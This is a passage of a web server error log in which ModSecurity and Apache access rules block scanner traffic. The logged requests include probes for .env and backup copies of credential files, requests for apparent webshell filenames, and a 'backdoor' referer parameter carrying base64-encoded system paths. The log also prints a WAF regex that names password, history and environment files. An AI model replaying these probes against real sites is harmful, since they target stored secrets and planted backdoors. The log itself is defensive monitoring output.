531797:tid 531889] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=backdoor&p=L2V0Yy9zeXN0ZW1k [Sat Jun 13 18:11:00.338399 2026] [security2:error] [pid 531797:tid 532059] [client 191.234.188.123:64633] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/md5.php"] [unique_id "ai3xlMTA7b1mZrmcA-8pOgAAAlE"] [Sat Jun 13 18:11:00.382270 2026] [security2:error] [pid 531797:tid 532102] [client 103.146.202.144:57804] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mail.deg.kkx.mybluehost.me"] [uri "/web/.env"] [unique_id "ai3xlMTA7b1mZrmcA-8pPAAAAns"] [Sat Jun 13 18:11:00.564034 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:11:00.564319 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:11:00.670559 2026] [security2:error] [pid 531797:tid 532104] [client 103.146.202.144:57804] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mail.deg.kkx.mybluehost.me"] [uri "/src/.env"] [unique_id "ai3xlMTA7b1mZrmcA-8pQAAAAn0"] [Sat Jun 13 18:11:00.691042 2026] [access_compat:error] [pid 531797:tid 531872] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9iaW4= [Sat Jun 13 18:11:00.691489 2026] [access_compat:error] [pid 531797:tid 531872] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9iaW4= [Sat Jun 13 18:11:00.713665 2026] [security2:error] [pid 531155:tid 531172] [remote 17.246.23.244:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 244.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xlCmiP80klyS0Nnr6_QABDhA"] [Sat Jun 13 18:11:00.863716 2026] [access_compat:error] [pid 531797:tid 531894] [remote 57.141.14.38:33969] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:00.864064 2026] [access_compat:error] [pid 531797:tid 531894] [remote 57.141.14.38:33969] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:00.947309 2026] [security2:error] [pid 531797:tid 532014] [client 20.9.67.71:47588] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "steaminnovationfoundation-org.nucreativesolutions.com"] [uri "/cxl.php"] [unique_id "ai3xlMTA7b1mZrmcA-8pTQAAAiY"] [Sat Jun 13 18:11:00.993395 2026] [security2:error] [pid 531155:tid 531174] [remote 17.241.75.32:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 32.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xlCmiP80klyS0Nnr7BAABfhI"] [Sat Jun 13 18:11:01.003900 2026] [security2:error] [pid 531155:tid 531321] [client 20.9.67.71:36201] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/dccs.php"] [unique_id "ai3xlSmiP80klyS0Nnr7BQAAAS4"] [Sat Jun 13 18:11:01.095563 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.103:47352] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:01.096130 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.103:47352] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:01.120321 2026] [access_compat:error] [pid 531155:tid 531262] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:11:01.120786 2026] [access_compat:error] [pid 531155:tid 531262] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:11:01.159405 2026] [security2:error] [pid 531797:tid 531899] [remote 57.141.14.109:32996] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 109.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3xlcTA7b1mZrmcA-8pVQACcyM"], referer: https://nelsonfarmstn.com/product/lavender-chamomile/?add_to_wishlist=837&_wpnonce=8d149de2a5&add-to-cart=401 [Sat Jun 13 18:11:01.233750 2026] [access_compat:error] [pid 531797:tid 531928] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9iaW4= [Sat Jun 13 18:11:01.234154 2026] [access_compat:error] [pid 531797:tid 531928] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9iaW4= [Sat Jun 13 18:11:01.351912 2026] [security2:error] [pid 531155:tid 531269] [remote 17.246.23.247:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 247.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xlSmiP80klyS0Nnr7DgABWXE"] [Sat Jun 13 18:11:01.651749 2026] [access_compat:error] [pid 531155:tid 531232] [remote 216.73.216.182:42756] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:01.652046 2026] [access_compat:error] [pid 531155:tid 531232] [remote 216.73.216.182:42756] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:01.667259 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9tb3VzZTAvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:11:01.667572 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9tb3VzZTAvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:11:01.678692 2026] [security2:error] [pid 531797:tid 532110] [client 191.233.234.186:40305] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/wp-scanner.php"] [unique_id "ai3xlcTA7b1mZrmcA-8pYwAAAoM"] [Sat Jun 13 18:11:01.721692 2026] [security2:error] [pid 531797:tid 532008] [client 191.234.188.123:28578] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/55.php"] [unique_id "ai3xlcTA7b1mZrmcA-8pZAAAAiA"] [Sat Jun 13 18:11:01.819672 2026] [access_compat:error] [pid 531797:tid 531869] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9iaW4= [Sat Jun 13 18:11:01.819936 2026] [access_compat:error] [pid 531797:tid 531869] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9iaW4= [Sat Jun 13 18:11:01.960329 2026] [access_compat:error] [pid 531797:tid 531873] [remote 57.141.14.22:43370] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:01.960795 2026] [access_compat:error] [pid 531797:tid 531873] [remote 57.141.14.22:43370] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:01.967040 2026] [security2:error] [pid 531155:tid 531294] [client 20.9.67.71:41857] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.naturistavanessa.com"] [uri "/cxl.php"] [unique_id "ai3xlSmiP80klyS0Nnr7IAAAARM"] [Sat Jun 13 18:11:02.047866 2026] [security2:error] [pid 531155:tid 531369] [client 172.56.168.133:41796] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xlimiP80klyS0Nnr7JAAAAV4"] [Sat Jun 13 18:11:02.052184 2026] [security2:error] [pid 531155:tid 531369] [client 172.56.168.133:41796] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xlimiP80klyS0Nnr7JAAAAV4"] [Sat Jun 13 18:11:02.194030 2026] [access_compat:error] [pid 531155:tid 531197] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:02.194324 2026] [access_compat:error] [pid 531155:tid 531197] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:02.203984 2026] [security2:error] [pid 531155:tid 531335] [client 103.146.202.144:54166] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "www.sunshinemanage.kbm-realty.com"] [uri "/.env.backup"] [unique_id "ai3xlimiP80klyS0Nnr7KAAAATw"] [Sat Jun 13 18:11:02.238621 2026] [security2:error] [pid 531797:tid 532002] [client 20.151.217.54:60122] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "williamsflying.paintyourplane.com"] [uri "/flox.php"] [unique_id "ai3xlsTA7b1mZrmcA-8pdQAAAho"] [Sat Jun 13 18:11:02.289847 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.101:39582] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:02.290277 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.101:39582] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:02.294746 2026] [access_compat:error] [pid 531797:tid 531971] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9iaW4= [Sat Jun 13 18:11:02.295057 2026] [access_compat:error] [pid 531797:tid 531971] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9iaW4= [Sat Jun 13 18:11:02.333515 2026] [security2:error] [pid 531797:tid 532034] [client 20.9.67.71:36211] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/wp-form.php"] [unique_id "ai3xlsTA7b1mZrmcA-8pegAAAjk"] [Sat Jun 13 18:11:02.352230 2026] [access_compat:error] [pid 531797:tid 531974] [remote 57.141.14.47:60534] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:02.352522 2026] [access_compat:error] [pid 531797:tid 531974] [remote 57.141.14.47:60534] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:02.406968 2026] [security2:error] [pid 531155:tid 531295] [client 103.146.202.144:54166] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "www.sunshinemanage.kbm-realty.com"] [uri "/.env.bak"] [unique_id "ai3xlimiP80klyS0Nnr7MAAAARQ"] [Sat Jun 13 18:11:02.493564 2026] [security2:error] [pid 531797:tid 532086] [client 191.233.234.186:40259] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/crgio.php"] [unique_id "ai3xlsTA7b1mZrmcA-8pgwAAAmw"] [Sat Jun 13 18:11:02.545558 2026] [security2:error] [pid 531797:tid 532044] [client 172.171.3.232:14350] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.mlvt-dsc.info"] [uri "/wp-scanner.php"] [unique_id "ai3xlsTA7b1mZrmcA-8phgAAAkM"] [Sat Jun 13 18:11:02.563424 2026] [access_compat:error] [pid 531797:tid 531893] [remote 57.141.14.90:20162] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:02.563843 2026] [access_compat:error] [pid 531797:tid 531893] [remote 57.141.14.90:20162] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:02.610733 2026] [security2:error] [pid 531155:tid 531324] [client 103.146.202.144:54166] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "www.sunshinemanage.kbm-realty.com"] [uri "/.env.old"] [unique_id "ai3xlimiP80klyS0Nnr7MwAAATE"] [Sat Jun 13 18:11:02.705447 2026] [security2:error] [pid 531155:tid 531187] [remote 17.246.19.123:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xlimiP80klyS0Nnr7NgABRR8"] [Sat Jun 13 18:11:02.720006 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL2RldmljZQ== [Sat Jun 13 18:11:02.720435 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 